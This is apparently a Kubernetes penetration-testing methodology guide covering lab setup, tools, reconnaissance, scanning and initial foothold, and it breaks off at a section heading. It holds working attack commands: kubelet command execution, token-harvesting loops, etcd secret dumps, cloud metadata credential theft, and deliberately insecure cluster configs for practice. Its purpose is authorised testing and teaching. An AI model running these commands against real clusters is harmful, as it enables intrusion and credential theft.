Kubernetes-PenTest
Kubernetes Penetration Testing & Attack Methodology
A comprehensive practical guide for red teams, penetration testers, and security researchers
Table of Contents
Part 1: Setup & Preparation
Part 2: Attack Methodology - Detailed Phases
4. Phase 0: Scope & Access Context
5. Phase 1: External Reconnaissance
6. Phase 2: Automated Scanning
7. Phase 3: Initial Foothold
8. Phase 4: Authenticated Enumeration
9. Phase 5: Privilege Escalation
10. Phase 6: Lateral Movement & Persistence
11. Phase 7: Post-Exploitation & Objectives
Part 3: Advanced Topics
12. CVE Exploitation Examples
13. Cloud Provider Specific Attacks
14. Detection & Evasion Techniques
15. Real-World Case Studies
Part 4: Defense & Quick Reference
16. Remediation Guidance
17. Command Cheat Sheet
18. Tools Comparison Matrix
19. MITRE ATT&CK for Kubernetes
1. Introduction & Prerequisites
This guide provides a systematic approach to Kubernetes penetration testing, combining external reconnaissance, exploitation techniques, post-exploitation activities, and defense evasion methods.
Prerequisites
- Basic Kubernetes Knowledge: Understanding of Pods, Services, Deployments, RBAC
- Linux Command Line: Comfortable with bash, networking tools
- Container Technologies: Docker/Podman experience helpful
- Networking: TCP/IP, HTTP/HTTPS, basic cloud networking
Legal & Ethical Disclaimer
⚠️ IMPORTANT: Only use these techniques against:
- Systems you own
- Authorized penetration testing engagements with proper documentation
- Dedicated practice labs (see Lab Setup section)
Unauthorized access to computer systems is illegal in most jurisdictions.
Scope of This Guide
This methodology covers:
- External assessment (Internet-facing clusters)
- Internal assessment (network access, no credentials)
- Authenticated assessment (with kubeconfig/token)
- Cloud-specific techniques (AWS EKS, Google GKE, Azure AKS)
- Real-world case studies and CVE exploitation
- Defense recommendations and remediation guidance
2. Lab Setup for Practice
Setting up vulnerable Kubernetes environments for safe practice and skill development.
2.1 Building a Vulnerable Kubernetes Cluster
Option A: Minikube with Intentional Misconfigurations
# Install minikube
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube
# Start vulnerable cluster (RBAC disabled, anonymous auth enabled)
minikube start \
--extra-config=apiserver.authorization-mode=AlwaysAllow \
--extra-config=kubelet.authentication.anonymous.enabled=true \
--extra-config=kubelet.authorization.mode=AlwaysAllow \
--extra-config=apiserver.insecure-port=8080 \
--extra-config=apiserver.insecure-bind-address=0.0.0.0
# Expose kubelet insecurely (for practice only!)
minikube ssh -- sudo sed -i 's/--anonymous-auth=false/--anonymous-auth=true/' /var/lib/kubelet/kubeadm-flags.env
minikube ssh -- sudo systemctl restart kubelet
Option B: Kind (Kubernetes in Docker) Multi-Node
# vulnerable-cluster.yaml
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
kubeadmConfigPatches:
- |
kind: ClusterConfiguration
apiServer:
extraArgs:
anonymous-auth: "true"
authorization-mode: "AlwaysAllow"
insecure-port: "8080"
insecure-bind-address: "0.0.0.0"
- role: worker
- role: worker
# Create cluster
kind create cluster --config vulnerable-cluster.yaml --name vuln-cluster
# Verify vulnerable configuration
kubectl get nodes
curl http://$(docker inspect vuln-cluster-control-plane | jq -r '.[0].NetworkSettings.Networks.kind.IPAddress'):8080/api/v1/pods
Option C: k3s Lightweight Setup
# Install k3s with insecure settings
curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC="server --disable-network-policy --write-kubeconfig-mode 644" sh -
# Create vulnerable pods
kubectl apply -f https://raw.githubusercontent.com/madhuakula/kubernetes-goat/master/scenarios/kubernetes-goat.yaml
2.2 CTF-Style Practice Challenges
Challenge 1: Find and Exploit Exposed Kubelet
- Objective: Discover kubelet on port 10250/10255, extract service account tokens
- Skills: Port scanning, kubeletctl usage, token theft
Challenge 2: RBAC Privilege Escalation
- Objective: Start with limited service account, escalate to cluster-admin
- Skills: RBAC enumeration, role creation, binding manipulation
Challenge 3: Container Escape to Node
- Objective: Break out of container to access host filesystem
- Skills: Privileged containers, hostPath mounts, chroot techniques
Challenge 4: Secrets Exfiltration
- Objective: Extract all secrets from cluster without triggering alerts
- Skills: Secret enumeration, decoding, stealthy exfiltration
Challenge 5: Persistence & Backdoors
- Objective: Maintain access after initial compromise
- Skills: DaemonSet deployment, cron jobs, hidden service accounts
2.3 Pre-Built Vulnerable Environments
Kubernetes Goat (OWASP)
git clone https://github.com/madhuakula/kubernetes-goat
cd kubernetes-goat
kubectl apply -f scenarios/kubernetes-goat.yaml
kubectl port-forward svc/kubernetes-goat 8080:80
BadPods (BishopFox)
git clone https://github.com/BishopFox/badPods
kubectl apply -f badPods/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl exec -it everything-allowed-exec-pod -- chroot /host bash
Vulnerable Scenarios to Practice:
- CVE-2018-1002105 (API server privilege escalation)
- CVE-2019-11246 (kubectl cp path traversal)
- CVE-2019-5736 (runc container escape)
- CVE-2021-25741 (subpath volume mount escape)
3. Tools Installation & Setup
Comprehensive installation guide for all tools mentioned in this methodology.
3.1 Essential Kubernetes Tools
kubectl (Official Kubernetes CLI)
# Linux
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl && sudo mv kubectl /usr/local/bin/
# macOS
brew install kubectl
# Windows (PowerShell)
Invoke-WebRequest -Uri "https://dl.k8s.io/release/v1.26.0/bin/windows/amd64/kubectl.exe" -OutFile "kubectl.exe"
# Verify installation
kubectl version --client
kubectl completion bash | sudo tee /etc/bash_completion.d/kubectl
kube-hunter (Aqua Security)
# Python pip
pip3 install kube-hunter
# Docker (recommended for isolation)
alias kube-hunter='docker run -it --rm aquasec/kube-hunter'
# From source
git clone https://github.com/aquasecurity/kube-hunter
cd kube-hunter
pip install -r requirements.txt
python kube-hunter.py
# Test installation
kube-hunter --list
kubeletctl (CyberArk)
# Linux x64
wget https://github.com/cyberark/kubeletctl/releases/latest/download/kubeletctl_linux_amd64
chmod +x kubeletctl_linux_amd64 && sudo mv kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
# macOS
wget https://github.com/cyberark/kubeletctl/releases/latest/download/kubeletctl_darwin_amd64
chmod +x kubeletctl_darwin_amd64 && sudo mv kubeletctl_darwin_amd64 /usr/local/bin/kubeletctl
# Verify
kubeletctl version
peirates (InGuardians)
# From source (requires Go)
git clone https://github.com/inguardians/peirates
cd peirates
go build .
sudo mv peirates /usr/local/bin/
# Pre-compiled binary
wget https://github.com/inguardians/peirates/releases/latest/download/peirates-linux-amd64.tar.xz
tar -xf peirates-linux-amd64.tar.xz
sudo mv peirates-linux-amd64/peirates /usr/local/bin/
# Test
peirates -h
3.2 Security Assessment Tools
kube-bench (CIS Kubernetes Benchmark)
# Install binary
wget https://github.com/aquasecurity/kube-bench/releases/latest/download/kube-bench_$(uname -s)_$(uname -m).tar.gz
tar -xzf kube-bench_*.tar.gz
sudo mv kube-bench /usr/local/bin/
# Run with Docker
docker run --pid=host -v /etc:/etc:ro -v /var:/var:ro -t aquasec/kube-bench:latest run --targets master
# Run natively
kube-bench run
kubeaudit (Shopify)
# Download latest release
wget https://github.com/Shopify/kubeaudit/releases/latest/download/kubeaudit_$(uname -s)_$(uname -m).tar.gz
tar -xzf kubeaudit_*.tar.gz
sudo mv kubeaudit /usr/local/bin/
# Test
kubeaudit all
Kubescape (ARMO)
# Install script
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
# Manual download
wget https://github.com/kubescape/kubescape/releases/latest/download/kubescape-ubuntu-latest
chmod +x kubescape-ubuntu-latest && sudo mv kubescape-ubuntu-latest /usr/local/bin/kubescape
# Test
kubescape version
Trivy (Aqua Security)
# Using package manager
# Ubuntu/Debian
sudo apt-get update && sudo apt-get install wget apt-transport-https gnupg lsb-release
wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add -
echo "deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" | sudo tee -a /etc/apt/sources.list.d/trivy.list
sudo apt-get update && sudo apt-get install trivy
# macOS
brew install trivy
# Manual
wget https://github.com/aquasecurity/trivy/releases/latest/download/trivy_$(uname -s)-64bit.tar.gz
tar zxf trivy_$(uname -s)-64bit.tar.gz
sudo mv trivy /usr/local/bin/
kubiscan (CyberArk)
# Python installation
pip3 install kubiscan
# From source
git clone https://github.com/cyberark/KubiScan
cd KubiScan
pip3 install -r requirements.txt
python3 KubiScan.py
# Test
kubiscan --help
etcdctl
# Download from etcd releases
ETCD_VER=v3.5.8
wget https://github.com/etcd-io/etcd/releases/download/${ETCD_VER}/etcd-${ETCD_VER}-linux-amd64.tar.gz
tar xzf etcd-${ETCD_VER}-linux-amd64.tar.gz
sudo mv etcd-${ETCD_VER}-linux-amd64/etcdctl /usr/local/bin/
# Test
etcdctl version
3.3 Cloud Provider CLI Tools
AWS CLI
# Install
pip3 install awscli
# Alternative: download installer
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
# Configure (if you have credentials)
aws configure
# Test
aws sts get-caller-identity
Google Cloud SDK
# Install
curl https://sdk.cloud.google.com | bash
exec -l $SHELL
# Alternative: package manager
# Ubuntu/Debian
echo "deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main" | sudo tee -a /etc/apt/sources.list.d/google-cloud-sdk.list
curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key --keyring /usr/share/keyrings/cloud.google.gpg add -
sudo apt-get update && sudo apt-get install google-cloud-sdk
# Initialize
gcloud init
# Install kubectl component
gcloud components install kubectl
Azure CLI
# Install script
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Package manager (Ubuntu/Debian)
curl -sL https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/microsoft.gpg > /dev/null
echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/azure-cli.list
sudo apt-get update && sudo apt-get install azure-cli
# Login (if you have credentials)
az login
# Test
az account show
3.4 Additional Useful Tools
jq (JSON Processor)
# Most package managers
sudo apt-get install jq # Ubuntu/Debian
brew install jq # macOS
sudo yum install jq # CentOS/RHEL
# Test with kubectl
kubectl get pods -o json | jq '.items[].metadata.name'
nmap & masscan
# nmap
sudo apt-get install nmap # Ubuntu/Debian
brew install nmap # macOS
# masscan
sudo apt-get install masscan
# macOS: brew install masscan
Docker/Podman
# Docker
curl -fsSL https://get.docker.com | bash
sudo usermod -aG docker $USER
# Podman (rootless alternative)
sudo apt-get install podman # Ubuntu 20.04+
3.5 Tool Configuration & Verification
Verify All Installations
# Create verification script
cat > verify-k8s-tools.sh << 'EOF'
#!/bin/bash
echo "=== Kubernetes Penetration Testing Tools Verification ==="
tools=(
"kubectl:kubectl version --client"
"kube-hunter:kube-hunter --help"
"kubeletctl:kubeletctl version"
"peirates:peirates -h"
"kube-bench:kube-bench version"
"kubeaudit:kubeaudit version"
"kubescape:kubescape version"
"trivy:trivy version"
"etcdctl:etcdctl version"
"nmap:nmap --version"
"jq:jq --version"
)
for tool in "${tools[@]}"; do
name="${tool%%:*}"
cmd="${tool#*:}"
echo -n "Checking $name... "
if $cmd >/dev/null 2>&1; then
echo "✅ OK"
else
echo "❌ NOT FOUND"
fi
done
EOF
chmod +x verify-k8s-tools.sh
./verify-k8s-tools.sh
4. Phase 0: Scope & Access Context
MITRE ATT&CK Tactics: Reconnaissance (TA0043), Initial Access (TA0001)
Determining your starting position and available attack vectors.
4.1 Access Scenarios
flowchart TD
A[Start Assessment] --> B{Do you have K8s credentials?}
B -->|Yes| C[Authenticated Path
✓ kubectl works
✓ Have kubeconfig/token
➜ Skip to Phase 4]
B -->|No| D{Network access to cluster?}
D -->|Yes| E[Internal Path
✓ Inside VPC/network
✓ Can reach cluster IPs
✗ No K8s credentials
➜ Start at Phase 3]
D -->|No| F[External Path
✓ Internet-only access
✗ No network access
✗ No credentials
➜ Start at Phase 1]
C --> G[Authenticated Attacks:
• RBAC enumeration
• Privilege escalation
• Secret access]
E --> H[Internal Attacks:
• Service discovery
• Token theft
• Network exploitation]
F --> I[External Attacks:
• Port scanning
• Exposed services
• OSINT gathering]4.2 Methodology Decision Matrix
| Starting Position | Available Phases | Key Techniques | Success Probability |
|---|---|---|---|
| External Only | 1, 2 → 3 → 4+ | OSINT, port scanning, service exploitation | Low-Medium |
| Internal Network | 3 → 4+ | Service discovery, token theft, lateral movement | Medium-High |
| Authenticated | 4+ | RBAC abuse, privileged escalation, secrets access | High |
4.3 Information Gathering Checklist
Pre-Engagement Questions:
Scope Boundaries:
5. Phase 1: External Reconnaissance
MITRE ATT&CK Techniques:
- T1595 (Active Scanning)
- T1595.001 (Scanning IP Blocks)
- T1592.004 (Client Configurations)
- T1590.005 (Network Trust Dependencies)
Discovering Kubernetes infrastructure from the Internet.
5.1 Search Engine Intelligence (OSINT)
Shodan Queries
# Basic Kubernetes discovery
shodan search 'product:"Kubernetes"' --fields ip_str,port,org,hostnames
# API server discovery
shodan search 'port:6443 product:"kube-apiserver"' --fields ip_str,org,location
# Dashboard discovery
shodan search '"kubernetes-dashboard"' --fields ip_str,port,org
# etcd discovery (critical finding!)
shodan search 'port:2379 product:"etcd"' --fields ip_str,org
# Kubelet discovery
shodan search 'port:10250 "kubelet"' --fields ip_str,org
# NodePort services
shodan search 'port:30000-32767 kubernetes' --fields ip_str,port,data
Censys Queries
# API via censys CLI
censys search 'services.kubernetes: *' --index-type ipv4
# Manual web searches
# services.port: 6443
# protocols: ("6443/kubernetes")
# kubernetes AND port: 6443
Certificate Transparency (crt.sh)
Manual searches at https://crt.sh:
%.k8s.company.com%.cluster.localkubernetes.company.comkube-apiserver*.eks.amazonaws.com*.gke.goog*.aks.azure.com
# Automated crt.sh search
curl -s "https://crt.sh/?q=%25.k8s.target.com&output=json" | jq -r '.[].name_value' | sort -u
# Extract subdomains
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | grep -E "(k8s|kube|cluster)" | sort -u
5.2 Network Discovery
Target Ports for Kubernetes
| Port | Service | Risk Level | Description |
|---|---|---|---|
| 443/6443 | API Server | HIGH | Main cluster API, often requires auth |
| 8080 | Insecure API | CRITICAL | Legacy insecure API server |
| 2379/2380 | etcd | CRITICAL | Cluster data store, contains secrets |
| 10250 | kubelet API | HIGH | Node agent, can exec into pods |
| 10255 | kubelet read-only | MEDIUM | Legacy read-only kubelet interface |
| 8001 | kubectl proxy | HIGH | Local API proxy, usually admin access |
| 30000-32767 | NodePort | MEDIUM | Exposed application services |
Port Scanning Commands
# Quick scan for common K8s ports
nmap -p 443,6443,8080,2379,2380,10250,10255,8001,30000-32767 \
-sV -sC -Pn -T4 \
--open \
-oA kubernetes-scan \
<target-ip-or-range>
# Detailed scan with service detection
nmap -p- --min-rate 10000 -sV -sC \
--script "kubernetes-*" \
-oA full-kubernetes-scan \
<target>
# Fast discovery with masscan
masscan 10.0.0.0/16 \
-p443,6443,8080,2379,2380,10250,10255 \
--rate 10000 \
-oL masscan-k8s.txt
# Follow up with nmap on discovered hosts
awk '{print $6}' masscan-k8s.txt | sort -u | nmap -sV -sC -iL -
UDP Scan for DNS/DHCP Services
# Some K8s services run on UDP
nmap -sU -p 53,67,68,161,514 <target-range>
5.3 HTTP Service Enumeration
API Server Testing
# Version information (usually available)
curl -k https://<api-server>:6443/version
curl -k https://<api-server>:6443/openapi/v2
# API discovery
curl -k https://<api-server>:6443/api
curl -k https://<api-server>:6443/api/v1
# Test for unauthenticated access (misconfiguration)
curl -k https://<api-server>:6443/api/v1/namespaces
curl -k https://<api-server>:6443/api/v1/pods
curl -k https://<api-server>:6443/api/v1/secrets
# Legacy insecure API (port 8080)
curl http://<api-server>:8080/api/v1/pods
curl http://<api-server>:8080/api/v1/namespaces/kube-system/secrets
# Expected responses:
# ✅ Version info: {"major":"1","minor":"26",...}
# ❌ Forbidden: {"kind":"Status","code":403}
# 🚨 Success: {"kind":"PodList","items":[...]}
kubelet API Testing
# Read-only port (legacy, often disabled)
curl http://<node-ip>:10255/pods
curl http://<node-ip>:10255/stats/summary
curl http://<node-ip>:10255/spec
# Authenticated port (check for anonymous access)
curl -k https://<node-ip>:10250/pods
curl -k https://<node-ip>:10250/runningpods/
curl -k https://<node-ip>:10250/metrics
# Dangerous: command execution (if anonymous auth enabled)
curl -k -XPOST "https://<node-ip>:10250/run/<namespace>/<pod>/<container>" \
-d "cmd=id"
# Expected responses:
# ✅ Pod list: {"kind":"PodList","items":[...]}
# ❌ Unauthorized: {"kind":"Status","code":401}
# 🚨 Command output: uid=0(root) gid=0(root)
etcd Testing (Critical)
# Version check
curl http://<etcd-ip>:2379/version
# Cluster health
curl http://<etcd-ip>:2379/health
# Data access (CRITICAL if successful)
etcdctl --endpoints=http://<etcd-ip>:2379 get "" --prefix --keys-only
# Extract secrets (game over if this works)
etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/secrets/ --prefix
# Expected responses:
# ✅ Version: {"etcdserver":"3.5.8",...}
# 🚨 Data: /registry/secrets/default/db-password
5.4 Dashboard and Web Interface Discovery
Common Kubernetes Web UIs
# Kubernetes Dashboard (check multiple ports)
curl -k https://<target>:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
curl -k https://<target>/dashboard/
curl -k https://<target>:30000-32767/ # Check NodePort range
# Rancher
curl -k https://<target>/dashboard/
curl -k https://<target>/v3/
# OpenShift
curl -k https://<target>:8443/console/
# Grafana (often exposed with K8s)
curl -k https://<target>:3000/
# Expected findings:
# 🚨 Unauthenticated dashboard access
# ⚠️ Login page (potential for brute force)
# ✅ 404/403 (properly protected)
5.5 SSL/TLS Certificate Analysis
# Extract certificate information
echo | openssl s_client -connect <api-server>:6443 2>/dev/null | openssl x509 -text
# Look for:
# - Subject Alternative Names (SANs) with cluster info
# - Organization info
# - Certificate authority details
# - Expiration dates
# Common patterns in K8s certs:
# CN=kubernetes
# SAN=kubernetes.default.svc.cluster.local
# SAN=<node-ip>
5.6 Cloud Provider Fingerprinting
AWS EKS Detection
# EKS clusters use specific certificate authorities
curl -k https://<api-server>:6443/version | grep -i eks
# EKS-specific endpoints
curl -k https://<api-server>:6443/api/v1/namespaces/kube-system/configmaps/aws-auth
# Look for EKS in SSL certificates
echo | openssl s_client -connect <api-server>:6443 2>/dev/null | grep -i eks
Google GKE Detection
# GKE version strings
curl -k https://<api-server>:6443/version | grep -i gke
# GKE metadata
curl -k https://<api-server>:6443/api/v1/nodes | grep -i gke
Azure AKS Detection
# AKS version strings
curl -k https://<api-server>:6443/version | grep -i azure
# AKS-specific resources
curl -k https://<api-server>:6443/api/v1/namespaces/kube-system/configmaps | grep azure
5.7 Common Findings & Risk Assessment
Critical Findings (Immediate Compromise)
- Unauthenticated etcd access (port 2379)
- Insecure API server (port 8080)
- Anonymous kubelet access with exec permissions
- Exposed dashboard without authentication
High-Risk Findings
- Authenticated but weak API server
- kubelet with anonymous read access
- Exposed NodePort services
- Weak SSL configurations
Medium-Risk Findings
- Version disclosure
- Certificate information leakage
- Network service discovery
- Subdomain enumeration
6. Phase 2: Automated Scanning
MITRE ATT&CK Techniques:
- T1046 (Network Service Discovery)
- T1595.002 (Vulnerability Scanning)
- T1518.001 (Security Software Discovery)
Automated tools to discover vulnerabilities and misconfigurations.
6.1 kube-hunter (Comprehensive Security Scanner)
Basic Usage
# Remote scan (external assessment)
kube-hunter --remote <api-server-ip>
# Network range scan
kube-hunter --cidr 10.0.0.0/16
# Active mode (attempts exploitation - use carefully!)
kube-hunter --remote <target> --active
# From inside a compromised pod
kube-hunter --pod
# Multiple output formats
kube-hunter --remote <target> --report json > kube-hunter-report.json
kube-hunter --remote <target> --report yaml > kube-hunter-report.yaml
Interpreting kube-hunter Results
# Example output structure:
# VULNERABILITIES:
# +-------------+----------------------+----------------------+----------------------+
# | ID | LOCATION | MITRE CATEGORY | VULNERABILITY |
# +-------------+----------------------+----------------------+----------------------+
# | KHV002 | 10.0.0.1:443 | Initial Access | K8s Version Disclosure|
# | KHV005 | 10.0.0.1:10250 | Execution | Kubelet API |
# | KHV030 | 10.0.0.1:2379 | Credential Access | Etcd Remote Access |
Critical kube-hunter Findings:
| Finding ID | Severity | Description | Impact |
|---|---|---|---|
| KHV030 | HIGH | Etcd Remote Access | Full cluster compromise |
| KHV005 | HIGH | Kubelet API | Pod execution access |
| KHV050 | MEDIUM | K8s Dashboard | Potential privilege escalation |
| KHV002 | LOW | Version Disclosure | Information gathering |
6.2 kubeletctl (Kubelet Exploitation)
Discovery and Enumeration
# Scan for kubelets in network range
kubeletctl scan --cidr 10.0.0.0/24
# Target specific kubelet
kubeletctl --server <node-ip> pods
# Health check
kubeletctl --server <node-ip> healthz
# Get kubelet configuration
kubeletctl --server <node-ip> configz
Token and Secret Extraction
# Automated token scanning
kubeletctl --server <node-ip> scan token
# Manual token extraction from pods
kubeletctl --server <node-ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" \
-p <pod-name> \
-c <container-name>
# Extract all tokens from all pods
for pod in $(kubeletctl --server <node-ip> pods | grep -o 'pod-[a-z0-9-]*'); do
echo "=== $pod ==="
kubeletctl --server <node-ip> exec "find /var/run/secrets -name token 2>/dev/null | xargs cat 2>/dev/null" -p $pod
done
Remote Code Execution
# Check for RCE capabilities
kubeletctl --server <node-ip> scan rce
# Execute commands (if vulnerable)
kubeletctl --server <node-ip> exec "id" -p <pod-name> -c <container-name>
# Common enumeration commands
kubeletctl --server <node-ip> exec "cat /etc/passwd" -p <pod> -c <container>
kubeletctl --server <node-ip> exec "ls -la /" -p <pod> -c <container>
kubeletctl --server <node-ip> exec "env" -p <pod> -c <container>
# Network reconnaissance from pod
kubeletctl --server <node-ip> exec "netstat -tulpn" -p <pod> -c <container>
kubeletctl --server <node-ip> exec "ss -tulpn" -p <pod> -c <container>
6.3 kube-bench (CIS Kubernetes Benchmark)
Running CIS Checks
# Auto-detect and run appropriate checks
kube-bench run
# Target specific node type
kube-bench run --targets master
kube-bench run --targets node
kube-bench run --targets etcd
kube-bench run --targets policies
# Specific check sections
kube-bench run --check 1.2.1,1.2.2 # API server checks
kube-bench run --check 4.1.1,4.1.2 # Worker node checks
# Output formats
kube-bench run --json > cis-results.json
kube-bench run --junit > cis-results.xml
Key CIS Check Categories
| Section | Focus | Critical Checks |
|---|---|---|
| 1.2 | API Server | Anonymous auth, insecure port, audit logs |
| 1.3 | Controller Manager | Service account key rotation, bind address |
| 1.4 | Scheduler | Secure bind address |
| 2.X | etcd | Client cert auth, peer communication |
| 4.1 | Worker Nodes | kubelet config, anonymous auth |
| 4.2 | Worker Node Files | File permissions, ownership |
| 5.1 | RBAC | Default service accounts, cluster roles |
| 5.2 | Pod Security | Pod Security Standards, admission controllers |
6.4 Additional Scanning Tools
kubeaudit (Security Policy Violations)
# Comprehensive audit
kubeaudit all
# Specific security checks
kubeaudit privileged # Find privileged containers
kubeaudit capabilities # Dangerous capabilities
kubeaudit hostns # Host namespace usage
kubeaudit asatoken # Automatic service account token mounting
kubeaudit nonroot # Containers running as root
kubeaudit limits # Resource limits
# Against live cluster
kubeaudit all -k ~/.kube/config
# Against manifest files
kubeaudit all -f /path/to/manifests/
Kubescape (Multiple Security Frameworks)
# NSA/CISA security framework
kubescape scan framework nsa --submit=false
# MITRE ATT&CK framework
kubescape scan framework mitre --submit=false
# Specific controls
kubescape scan control "Privileged container"
kubescape scan control "Container runtime socket mounted"
kubescape scan control "Non-root containers"
# Output to file
kubescape scan framework nsa --format json --output results.json
# Scan specific resources
kubescape scan workload deployment/nginx
kubescape scan workload --namespace production
Trivy Kubernetes Mode
# Scan entire cluster
trivy k8s cluster
# Scan specific namespace
trivy k8s all --namespace production
# Scan specific resources
trivy k8s deployment/nginx
trivy k8s pod/webapp-pod
# Include additional checks
trivy k8s cluster --severity HIGH,CRITICAL
trivy k8s cluster --compliance k8s-nsa,k8s-cis
# Output formats
trivy k8s cluster --format json > trivy-k8s-results.json
6.5 Scanning Decision Tree
flowchart TD
A[Start Scanning Phase] --> B{Have network access to cluster?}
B -->|No| C[External Scanning Only
• kube-hunter --remote
• nmap port scan
• HTTP enumeration]
B -->|Yes| D{Have any credentials?}
D -->|No| E[Network + Unauthenticated
• kube-hunter --cidr
• kubeletctl scan
• Service discovery]
D -->|Yes| F[Authenticated Scanning
• kube-bench run
• kubeaudit all
• trivy k8s cluster
• kubescape scan]
C --> G[Findings: Exposed services,
version info, misconfigs]
E --> H[Findings: Internal services,
kubelet access, etcd]
F --> I[Findings: RBAC issues,
pod security, compliance gaps]
G --> J[Next: Exploit exposed services]
H --> J
I --> K[Next: Privilege escalation]6.6 Prioritizing Scanner Findings
Immediate Action (Critical)
- Unauthenticated etcd access - Full cluster compromise possible
- Insecure API server - Administrative access
- kubelet RCE - Node and pod compromise
- Exposed dashboard - Potential admin interface
High Priority (Major Security Issues)
- Privileged containers - Container escape potential
- Over-permissive RBAC - Privilege escalation
- Missing network policies - Lateral movement
- Secrets in environment variables - Credential exposure
Medium Priority (Defense in Depth)
- Missing resource limits - DoS potential
- No Pod Security Standards - Weak container controls
- Missing audit logging - Reduced visibility
- Outdated versions - Known CVE exposure
Example Prioritization Script
# Combine multiple scanner outputs for analysis
cat > prioritize-findings.py << 'EOF'
#!/usr/bin/env python3
import json, sys
critical_keywords = ['etcd', 'insecure-port', 'privileged', 'cluster-admin', 'anonymous-auth']
high_keywords = ['hostNetwork', 'hostPID', 'capabilities', 'secrets']
def prioritize_finding(description):
desc_lower = description.lower()
if any(keyword in desc_lower for keyword in critical_keywords):
return "CRITICAL"
elif any(keyword in desc_lower for keyword in high_keywords):
return "HIGH"
else:
return "MEDIUM"
# Process kube-hunter JSON output
with open('kube-hunter-report.json') as f:
data = json.load(f)
for vuln in data.get('vulnerabilities', []):
priority = prioritize_finding(vuln['description'])
print(f"{priority}: {vuln['description']} at {vuln['location']}")
EOF
python3 prioritize-findings.py
7. Phase 3: Initial Foothold
MITRE ATT&CK Techniques:
- T1078 (Valid Accounts)
- T1552.007 (Container API)
- T1613 (Container and Resource Discovery)
- T1083 (File and Directory Discovery)
Gaining initial access to the Kubernetes cluster.
7.1 Common Attack Vectors
Service Account Token Theft (Most Common)
From a compromised pod or container:
# Check if we're in a container
ls /.dockerenv 2>/dev/null && echo "In Docker container" || echo "Not in container"
# Look for service account mount
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# Expected files: ca.crt, namespace, token
# Extract service account info
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Discover API server
echo "API Server: https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"
APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
# Test token validity
curl --cacert $CACERT \
-H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1 | jq .
kubelet API Exploitation
# If kubelet is exposed with anonymous auth
kubeletctl --server <node-ip> pods
# Extract tokens from all pods on the node
kubeletctl --server <node-ip> exec \
"find /var/run/secrets -name token -exec cat {} \;" \
-p <pod-name> -c <container-name>
# Execute commands to gather info
kubeletctl --server <node-ip> exec "hostname && id && ls -la /" \
-p <pod-name> -c <container-name>
Application Vulnerabilities
Common vectors to get shell access:
- Web application RCE
- Container image vulnerabilities
- Supply chain attacks (malicious images)
- Secrets exposed in environment variables
- Weak authentication on exposed services
7.2 Environment Discovery
Container Environment Analysis
# Basic environment discovery
hostname
id
uname -a
cat /etc/passwd | grep -E "(root|kubernetes|docker)"
# Container runtime detection
if [ -f /.dockerenv ]; then
echo "Docker container"
elif [ -f /run/.containerenv ]; then
echo "Podman container"
elif [ -d /proc/1/cgroup ]; then
grep -q docker /proc/1/cgroup && echo "Docker container"
grep -q kubepods /proc/1/cgroup && echo "Kubernetes pod"
fi
# Environment variables (look for secrets!)
env | grep -E "(PASS|SECRET|TOKEN|KEY|API)" | sort
# Network configuration
ip addr show
ip route show
cat /etc/resolv.conf
# Process listing
ps aux
# File system exploration
ls -la /
ls -la /opt/
ls -la /app/
Service Discovery
# Internal Kubernetes DNS
nslookup kubernetes.default
nslookup kubernetes.default.svc.cluster.local
# Service enumeration via DNS
for i in {1..255}; do
(timeout 1 nslookup service-$i.default.svc.cluster.local 2>/dev/null | grep -v "server can't find" && echo "Found: service-$i") &
done
wait
# Network scanning (if tools available)
for port in 80 443 8080 8443 9090 3000; do
timeout 2 bash -c "</dev/tcp/kubernetes.default/$port" 2>/dev/null && echo "Port $port open on kubernetes.default"
done
# Common service discovery
curl -k https://kubernetes.default.svc.cluster.local/api/v1/ -H "Authorization: Bearer $TOKEN"
Cloud Metadata Services
# AWS Instance Metadata
curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
# Google Cloud Metadata
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ 2>/dev/null
# Azure Instance Metadata
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null
# If successful, extract credentials:
# AWS: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# GCP: curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Azure: curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
7.3 Establishing External kubectl Access
